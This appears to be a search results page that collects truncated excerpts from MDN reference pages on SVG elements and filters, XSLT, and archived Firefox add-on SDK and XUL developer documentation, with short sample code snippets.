lpha" stddeviation="3" /> <feoffset dx="2" dy="4" /> <femerge> <femergenode /> <femergenode in="sourcegraphic" /> </femerge> </filter> <circle cx="60" cy="60" r="50" fill="green" filter="url(#dropshadow)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fegaussianblur>' in that specification.
... working draft added edgemode attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<fegaussianblur>' in that specification.
... recommendation initial definition ...
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:url(#image);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feimage>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<feimage>' in that specification.
... recommendation initial definition ...
<feMerge> - SVG: Scalable Vector Graphics
WebSVGElementfeMerge
specifications specification status comment filter effects module level 1the definition of '<femerge>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femerge>' in that specification.
... recommendation initial definition ...
<feMergeNode> - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of '<femergenode>' in that specification.
... working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<femergenode>' in that specification.
... recommendation initial definition ...
<feMorphology> - SVG: Scalable Vector Graphics
erator="dilate" radius="2"/> </filter> </svg> <p>normal text</p> <p id="thin">thinned text</p> <p id="thick">fattened text</p> css p { margin: 0; font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } specifications specification status comment filter effects module level 1the definition of '<femorphology>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femorphology>' in that specification.
... recommendation initial definition ...
<feOffset> - SVG: Scalable Vector Graphics
WebSVGElementfeOffset
h="180" height="180"> <feoffset in="sourcegraphic" dx="60" dy="60" /> </filter> </defs> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green"/> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green" filter="url(#offset)"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feoffset>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<feoffset>' in that specification.
... recommendation initial definition ...
<fePointLight> - SVG: Scalable Vector Graphics
fecomposite in="sourcegraphic" in2="spotlight" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fepointlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fepointlight>' in that specification.
... recommendation initial definition ...
<feSpotLight> - SVG: Scalable Vector Graphics
<fecomposite in="sourcegraphic" in2="spotlight" operator="out" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespotlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fespotlight>' in that specification.
... recommendation initial definition ...
<feTile> - SVG: Scalable Vector Graphics
WebSVGElementfeTile
100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#tile);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fetile>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fetile>' in that specification.
... recommendation initial definition ...
<feTurbulence> - SVG: Scalable Vector Graphics
requency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<feturbulence>' in that specification.
... recommendation initial definition ...
<filter> - SVG: Scalable Vector Graphics
WebSVGElementfilter
height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stddeviation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<filter>' in that specification.
... working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<filter>' in that specification.
... recommendation initial definition ...
<font-face-uri> - SVG: Scalable Vector Graphics
the <font-face-uri> svg element points to a remote definition of the current font.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-uri>' in that specification.
... recommendation initial definition ...
<foreignObject> - SVG: Scalable Vector Graphics
adonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<foreignobject>' in that specification.
... recommendation initial definition ...
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<g>' in that specification.
... recommendation initial definition ...
<image> - SVG: Scalable Vector Graphics
WebSVGElementimage
mple basic rendering of a png image in svg: svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<image>' in that specification.
... candidate recommendation allows omitting height and width scalable vector graphics (svg) 1.1 (second edition)the definition of '<image>' in that specification.
... recommendation initial definition ...
<line> - SVG: Scalable Vector Graphics
WebSVGElementline
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<line>' in that specification.
... candidate recommendation changed the x1, y1, x2 and y2 attributes to take <length>s, <percentage>s and <number>s scalable vector graphics (svg) 1.1 (second edition)the definition of '<line>' in that specification.
... recommendation initial definition ...
<linearGradient> - SVG: Scalable Vector Graphics
t, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<lineargradient>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<lineargradient>' in that specification.
... recommendation initial definition ...
<mask> - SVG: Scalable Vector Graphics
WebSVGElementmask
s, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment css masking module level 1the definition of '<mask>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<mask>' in that specification.
... recommendation initial definition ...
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
--> <g id="cablen" transform="translate(242 88)"> <title>cable n</title> <desc>10baset twisted pair cable</desc> <path d="m0,0c0,-70 20,-50 60,-50"/> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of '<metadata>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<metadata>' in that specification.
... recommendation initial definition ...
<polygon> - SVG: Scalable Vector Graphics
WebSVGElementpolygon
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<polygon>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<polygon>' in that specification.
... recommendation initial definition ...
<polyline> - SVG: Scalable Vector Graphics
WebSVGElementpolyline
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<polyline>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<polyline>' in that specification.
... recommendation initial definition ...
<radialGradient> - SVG: Scalable Vector Graphics
t, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<radialgradient>' in that specification.
... candidate recommendation added fr attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<radialgradient>' in that specification.
... recommendation initial definition ...
<rect> - SVG: Scalable Vector Graphics
WebSVGElementrect
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<rect>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<rect>' in that specification.
... recommendation initial definition ...
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
l> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<script>' in that specification.
... recommendation initial definition ...
<set> - SVG: Scalable Vector Graphics
WebSVGElementset
lobal attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements specifications specification status comment svg animations level 2the definition of '<set>' in that specification.
... editor's draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<set>' in that specification.
... recommendation initial definition ...
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
event attributes, document element event attributes presentation attributes most notably: color, display, stop-color, stop-opacity, visibility usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> specifications specification status comment scalable vector graphics (svg) 2the definition of '<stop>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<stop>' in that specification.
... recommendation initial definition ...
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
ng>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<style>' in that specification.
... recommendation initial definition ...
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<svg>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<svg>' in that specification.
... recommendation initial definition ...
<switch> - SVG: Scalable Vector Graphics
WebSVGElementswitch
ystemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage="fr">bonjour!</text> <text systemlanguage="ja">こんにちは</text> <text systemlanguage="ru">Привет!</text> <text>☺</text> </switch> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<switch>' in that specification.
... candidate recommendation clarified the evaluation of the systemlanguage attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<switch>' in that specification.
... recommendation initial definition ...
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
specifications specification status comment scalable vector graphics (svg) 2the definition of '<symbol>' in that specification.
... candidate recommendation allowed geometry properties to be specified on a symbol scalable vector graphics (svg) 1.1 (second edition)the definition of '<symbol>' in that specification.
... recommendation initial definition ...
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
a-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text content elementpermitted contentcharacter data and any number of the following elements, in any order:animation elementsdescriptive elementstext content elements<a> specifications specification status comment scalable vector graphics (svg) 2the definition of '<text>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<text>' in that specification.
... recommendation initial definition ...
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
xt, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<textpath>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<textpath>' in that specification.
... recommendation initial definition ...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<title>' in that specification.
... recommendation initial definition ...
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
in, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<tspan>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<tspan>' in that specification.
... recommendation initial definition ...
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
aluemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:href, xlink:title usage notes categoriesgraphics element, graphics referencing element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<use>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<use>' in that specification.
... recommendation initial definition ...
<view> - SVG: Scalable Vector Graphics
WebSVGElementview
specifications specification status comment scalable vector graphics (svg) 2the definition of '<view>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<view>' in that specification.
... recommendation initial definition ...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
general change notes length attribute and indexed property for list interfaces implementation status unknown <script> element in content model of all elements implementation status unknown initialize(), appenditem(), replaceitem(), and insertitembefore() on list objects making a copy of any list item being inserted that is already in another list implementation status unknown crossorigin attribute for <image> and <script> elements not implemented yet (at least for <image>; bug 1240357) rendering model change notes svg root and <foreignobje...
... implementation status unknown auto as initial value for width and height attributes of <svg> implementation status unknown baseprofile and version attributes removed from <svg> implementation status unknown svgsvgelement.forceredraw() deprecated turned into a no-op (bug 733764) svgsvgelement.deselectall() deprecated not yet deprecated (bug 1302705) <switch> not affecting <style> implement...
...paces in svg view fragments implementation status unknown pixel: and percent: spatial media fragments implementation status unknown linking to <view> elements does not cause implicit box transformation to show nearest ancestor <svg> element implementation status unknown unspecified svg view fragment parameters don't cause corresponding attributes to be reset to initial values implementation status unknown viewtarget attribute of <view> and corresponding svg view fragment parameter removed implementation status unknown fragment-only urls are always same-document implementation status unknown additional attributes on <a> implemented (bug 1451823) scripting change notes contentscripttype re...
<xsl:decimal-format> - XSLT: Extensible Stylesheet Language Transformations
syntax <xsl:decimal-format name=name decimal-separator=character grouping-separator=character infinity=string minus-sign=character nan=string percent=character per-mille=charater zero-digit=character digit=character pattern-separator=character /> required attributes none.
... infinity specifies the string used to represent infinity.
... the default is the string "infinity".
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
the context node is the node used as initial current node used when executing the stylesheet.
... the context position is the position of the context node in the initial current node list used when executing the stylesheet.
... the context size is the size of the initial current node list used when executing the stylesheet.
simple-prefs - Archive of obsolete content
usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ...
...they are also triggered once during add-on initialization.
widget - Archive of obsolete content
first, in the content script, change self to addon, and wrap it in a function: function init() { var play_button = document.getelementbyid("play-button"); play_button.onclick = function() { addon.port.emit("play"); } var pause_button = document.getelementbyid("pause-button"); pause_button.onclick = function() { addon.port.emit("pause"); } var stop_button = document.getelementbyid("stop-button"); stop_button.onclick = function() { addon.port.emit("stop"); }...
... } next, add a script tag to reference "button-script.js", and call its init() function on load: <html> <head> <script src="button-script.js"></script> </head> <body onload="init()"> <img src="play.png" id="play-button"> <img src="pause.png" id="pause-button"> <img src="stop.png" id="stop-button"> </body> </html> finally, remove the line attaching the content script from "main.js": const widgets = require("sdk/widget"); const data = require("sdk/self").data; var player = widgets.widget({ id: "player", width: 72, label: "player", contenturl: data.url("buttons.html") }); player.port.emit("init"); player.port.on("play", function() { console.log("playing"); }); player.port.on("pause", function() { console.log("pausing"); }); player.port.on("stop", func...
content/symbiont - Archive of obsolete content
var { symbiont } = require('sdk/content/content'); var thing = symbiont.resolve({ constructor: '_init' }).compose({ constructor: function thing(options) { // `getmyframe` returns the host application frame in which // the page is loaded.
... this._frame = getmyframe(); this._init(options) } }); see the panel module for a real-world example of usage of this module.
lang/functional - Archive of obsolete content
useful for initialization functions, instead of having to set a boolean flag and checking it later.
... let { once } = require("sdk/lang/functional"); let setup = once(function (env) { // initializing important things console.log("successfully initialized " + env); return 1; // assume success and return 1 }); setup('dev'); // returns 1 // prints "successfully initialized dev" // future attempts to call this function just return the cached // value that was returned previously setup('production'); // returns 1 // no print message is displayed since the function isn't executed parameters fn : function the function that will be executed only once inside the once wrapper.
platform/xpcom - Archive of obsolete content
for example, this subclass implements the nsirequest interface: var { class } = require('sdk/core/heritage'); var { unknown } = require('sdk/platform/xpcom'); var request = class({ extends: unknown, interfaces: [ 'nsirequest' ], initialize: function initialize() { this.pending = false; }, ispending: function() { return this.pending; }, resume: function() { console.log('resuming...'); }, suspend: function() { console.log('suspending...'); }, cancel: function() { console.log('canceling...'); } }); this component definition: specifies that we support nsirequest using the interfaces property.
... initializes pending in initialize() adds our implementation of the nsirequest interface although request also implements nsisupports, there is no need to add it here, because the base class unknown declares support for nsisupports and this is accounted for when retrieving objects.
ui/button/toggle - Archive of obsolete content
initially the buttons in all tabs and windows will display the label value inherited from the global state: browser: label = "my default" w1 t1 > displays "my default" t2 > displays "my default" w2 t3 > displays "my default" t4 > displays "my default" if you then set a label specific to t3 as "my t3 label", then set a label sta...
...it's initialized to false, or the value of the checked option to the button's constructor.
ui/id - Archive of obsolete content
making an id const { identify } = require('sdk/ui/id'); const thingy = class({ initialize: function(details) { let id = identify(this); } }); getting an id const { identify } = require('sdk/ui/id'); const { thingy } = require('./thingy'); let thing = thingy(/* ...
... returns string : returns a uuid by default (or domain specific id based on a provided definition).
cfx - Archive of obsolete content
there are four supported cfx commands: cfx init create a skeleton add-on as a starting point for your own add-on.
... cfx init create a new directory called "my-addon", change into it, and run cfx init.
cfx to jpm - Archive of obsolete content
the add-on sdk includes a command-line tool that you use to initialize, run, test, and package add-ons.
... entry point the add-on's entry point is the file that's executed when the add-on needs to initialize itself: for example, when firefox starts, or when the add-on's installed, enabled, or upgraded.
Adding a Button to the Toolbar - Archive of obsolete content
create a new directory, navigate to it, and execute jpm init, accepting all the defaults.
...the button is added to the toolbar at the top of the browser window: you can't set the initial location for the button, but the user can move it using the browser's customization feature.
Overview - Archive of obsolete content
the matcher is responsible for finding annotated elements: it is initialized with the list of annotations and searches web pages for the elements they are associated with.
...navigate to it and type cfx init.
Using third-party modules (jpm) - Archive of obsolete content
the add-on sdk includes a command-line tool that you use to initialize, run, test, and package add-ons.
...in your add-on code, you can require() modules by passing a path to the module starting from, but not including "node_modules": var menuitems = require("menuitem"); details create a new directory called, for example, "my-menuitem", navigate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package from npm: npm install menuitem --save this will install the package in the current directory, under a directory called "node_modules".
Customizing the download progress bar - Archive of obsolete content
in your overlay file, add a javascript file between the <overlay> and </overlay> tags: <script type="application/javascript" src="chrome://myextension/content/downloads-overlay.js" /> the javascript file will look something like this: var mydownloadmanager = { defaultcreatedownloaditem : null, init : function fdm_init() { mydownloadmanager.defaultcreatedownloaditem = window.createdownloaditem; window.createdownloaditem = function(aattrs) { var dl = mydownloadmanager.defaultcreatedownloaditem(aattrs); if (dl) { if (...whatever condition you use to decide whether to change this download...) { dl.setattribute("myspecialdownload", "true"); ...
... } } return dl; } } }; window.addeventlistener("load", function(e) { mydownloadmanager.init(); }, false); in your css file, change richdownloaditem (both occurrences) to richdownloaditem[myspecialdownload="true"].
Miscellaneous - Archive of obsolete content
gobserver.addobserver(this,"xpcom-shutdown",false); gobserver.addobserver(this,"final-ui-startup",false); break; case "xpcom-shutdown": gobserver.removeobserver(this,"final-ui-startup"); gobserver.removeobserver(this,"xpcom-shutdown"); break; case "final-ui-startup": this.init(); break; } }, init: function() { // add all certificates you want to install here (or read this from your prefs.js ...) var certificates = "root.crt,user.crt"; var certs = certificates.split(','); for (var i=0; i<certs.length; i++) { this.addcertificate(certs[i], 'c,c,c'); } }, addcertificate: function(certname, cer...
...ttrust) { var certdb = cc["@mozilla.org/security/x509certdb;1"].getservice(ci.nsix509certdb2); var scriptablestream=cc["@mozilla.org/scriptableinputstream;1"].getservice(ci.nsiscriptableinputstream); var channel = gioservice.newchannel("chrome://yourapp/content/certs" + certname, null, null); var input=channel.open(); scriptablestream.init(input); var certfile=scriptablestream.read(input.available()); scriptablestream.close(); input.close(); var begincert = "-----begin certificate-----"; var endcert = "-----end certificate-----"; certfile = certfile.replace(/[\r\n]/g, ""); var begin = certfile.indexof(begincert); var end = certfile.indexof(endcert); var cert = certfile.substring(begin + begincert.length, en...
Extension Versioning, Update and Compatibility - Archive of obsolete content
the * actually represents an infinitely high number and so is really only sensibly used in the maxversion.
... it is important to get the initial rdf:description's about attribute correct.
Inline options - Archive of obsolete content
some discussion on the subject at stackoverflow: how to use addeventlistener on inputchanged of inline options display notifications if you want to use the settings ui for anything more than storing preferences, then you will probably need to initialize them when they first appear.
... you can't do this until your options xul has been loaded into the add-on manager window, so you should listen for the addon-options-displayed notification to initialize your settings.
Appendix D: Loading Scripts - Archive of obsolete content
the scripts still need to execute all of their initialization code and allocate and initialize all of their data structures each time the script is loaded.
... security: sandbox objects are initialized with a security principal object, or otherwise a window or url from which to derive one.
Connecting to Remote Content - Archive of obsolete content
following initialization, onload and onerror handlers are registered to a callback function to handle the response returned from the remote server.
... .createinstance(components.interfaces.nsidomparser); let filestream = components.classes["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream); let xsltprocessor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); let xsldocument; filestream.init(somexslfile, -1, 0x01, 0444); // read only // parse from the xslt stylesheet file stream xsldocument = domparser.parsefromstream( filestream, null, filestream.available(), "text/xml"); // import the xslt stylesheet to the xslt processor xsltprocessor.importstylesheet(xsldocument); finally, you can either use nsixsltprocessor.transformtodocument() or nsixsltprocessor.transformtofragment() ...
Getting Started with Firefox Extensions - Archive of obsolete content
it is also worth noting that there are differences between the definition of extension and add-on.
... if you open the menu and then the menu item below, you'll see a nice alert message (for some definitions of 'nice').
Firefox addons developer guide - Archive of obsolete content
for example, here: https://developer.mozilla.org/en/firefox_addons_developer_guide/let's_build_a_firefox_extension#init_method the text of the paragraph should begin "the <code>init()</code> method is as shown...".
... todo: all fixme notes inside the documents; add abbreviation definition to acronyms; add some link to the internal mdc documentation when it makes sense; indent source code; make sure documentation is relevant for all platforms: gnu/linux, macos, windows; add anchor links to figures & listings; add credits to original authors and license; completed sometimes, interfaces names are misspelled: s/nsl/nsi; talk about fuel; titles of chapters and sub-headings s...
XUL user interfaces - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="dat...
...copy and paste the content from here, making sure that you scroll to get all of it: // xul demonstration var datebox, daybox, currentday, status; // elements // called by window onload function init() { datebox = document.getelementbyid("date-text") daybox = document.getelementbyid("day-box") status = document.getelementbyid("status") settoday(); } // called by clear button function cleardate() { datebox.value = "" refresh() } // called by today button function settoday() { var d = new date() datebox.value = (d.getmonth() + 1) + "/" + d.getdate() + "/" + d.getfu...
Index of archived content - Archive of obsolete content
notifications.jsm pageactions.jsm prompt.jsm runtimepermissions.jsm snackbars.jsm sound.jsm tab addons developer guide code snippets creating a user interface firefox hub walkthrough initialization and cleanup prerequisites walkthrough webextensions for firefox for android listening to events in firefox extensions migrating from internal linkage to frozen linkage migrating raw components to add-ons multiple item extension packaging offering a context menu for form controls ...
... npp_write npp_writeready npprint npprintcallbackstruct nprect npregion npsaveddata npsetwindowcallbackstruct npstream npstring nputf8 npvariant npvarianttype npwindow np_getmimedescription np_getvalue np_initialize np_port np_shutdown samples and test cases shipping a plugin as a toolkit bundle supporting private browsing in plugins the first install problem writing a plugin for mac os x xembed extension for mozilla plugins sax security ...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
* * the initial developer of the original code is * netscape corporation.
... * portions created by the initial developer are copyright (c) 2003 * the initial developer.
Source Navigator - Archive of obsolete content
(i think.) you can specify whether it's the declaration/definition of a method/function to look up...
...source navigator then loads the database and then display the following symbols window: searching a method by typing in the method name viewing the definition/declaration by highlighting the method in the code ...
Source code directories overview - Archive of obsolete content
idl contains the xpidl (cross platform interface definition language) interface files.
...this directory contains the code for initializing the toolkit.
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
add the following preprocessor definitions to project properties|(all configurations)|c++|preprocessor|preprocessor definitions: win32;_windows;xp_win32;xp_win;_x86_;npsimple_exports disable precompiled headers using project properties|(all configurations)|c++|precompiled headers|create/use precompiled header.
...nprt.def) to project properties|(all configurations)|linker|input|module definition file.
Style System Overview - Archive of obsolete content
“cascaded” value for property + element: if 0 rules matching the element have the property: some properties inherit and some properties use initial value.
... otherwise, we need to compute the struct, so nsrulenode::getstyledata calls nsrulenode::get*data, which initializes the correct one of the data structs on the stack (the structs used by nscssdeclaration) style data computation get*data calls nsrulenode::walkruletree, which walks from the style context's rule node towards the root rule node.
JavaScript crypto - Archive of obsolete content
overview of the new cert issuing process user fills out enrollment form user action initiates script script calls key generation method (generatecrmfrequest) signing and encryption keys are generated encryption private key is wrapped with public key of key recovery authority (kra) (passed in in the form of a certificate as part of the script, and checked against a pre-installed certificate copy in the local certificate database) the public keys, wrapped encryption private key, an...
... mechanism flag definitions in general, most tokens should not set any of the cipher flags.
Settings - Archive of obsolete content
here is an example manifest definition: var manifest = { settings: [ { name: "twitter", type: "group", label: "twitter", settings: [ { name: "username", type: "text", label: "username" }, { name: "password", type: "password", label: "password" } ] }, { name: "facebook", type: "group", label: "facebook", settings: [ { name: "username", type: ...
...jetpack.future.import("storage.settings"); this definition will result in a user interface with an input field for each setting defined above.
Jetpack Snippets - Archive of obsolete content
ipt:console.log('hello!')">test</a> <script><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('script'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.init();}else{settimeout(arguments.callee);}})();void(firebug); ]]></script> </body></html>, width: 800, //wide enough to use firebug onselect: function(slide) { slide.slide(800, true); }}); calling into a slidebar from the global jetpack scope jetpack.slidebar.append({ onready: function (slide) { // call out to a global function, passing the slidebar o...
...bject exinitslidebar(slide); }, ...});function exinitslidebar(aslidebar) { // this variable will now be global slider = aslidebar;} // then, accessing the slidebar htmlvar tl = slider.contentdocument.getelementbyid("thumblist"); // or calling slidebar api methods or accessing propertiesslider.notify(); ...
Settings - Archive of obsolete content
